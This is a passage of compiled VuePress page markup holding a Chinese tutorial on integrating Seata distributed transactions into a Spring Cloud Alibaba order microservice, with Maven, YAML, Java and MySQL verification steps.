line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("com.alibaba.cloud"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("spring-cloud-starter-alibaba-seata"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("(2)修改订单微服务shop-order的bootstrap.yml,修改后的文件如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("order\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order_group\n shared"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("configs"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("data_id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("all.yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" all_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("refresh")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("alibaba")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("tx-service-group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("tx_group\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("seata")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application-id")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.application.name"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("service")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("vgroup-mapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-order-tx_group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" default\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("registry")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("server\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" $"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("spring.cloud.nacos.discovery.server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("addr"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" nacos\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" SEATA_GROUP\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namespace")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" seata_namespace_001\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br")])]),a("p",[s._v("(3)修改订单微服务的"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV8Impl")]),s._v("类的saveOrder()方法,在saveOrder()方法上添加Seata的@GlobalTransactional注解,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GlobalTransactional")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("saveOrder")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderParams")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\t"),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//省略具体方法代码")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("p",[s._v("至此,搭建并整合Seata完毕,就是这么简单。")]),s._v(" "),a("h2",{attrs:{id:"验证seata事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#验证seata事务"}},[s._v("#")]),s._v(" 验证Seata事务")]),s._v(" "),a("h3",{attrs:{id:"重置数据库数据"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重置数据库数据"}},[s._v("#")]),s._v(" 重置数据库数据")]),s._v(" "),a("p",[s._v("这里,首先将商品数据表t_product中id为1001的数据的库存信息重置为100,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("update")]),s._v(" t_product "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("where")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("h3",{attrs:{id:"查询数据表数据-3"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据-3"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("这里,我们以id为1001的商品为例,此时发现商品的库存为100。")]),s._v(" "),a("p",[s._v("(3)查询订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以发现订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查询订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" 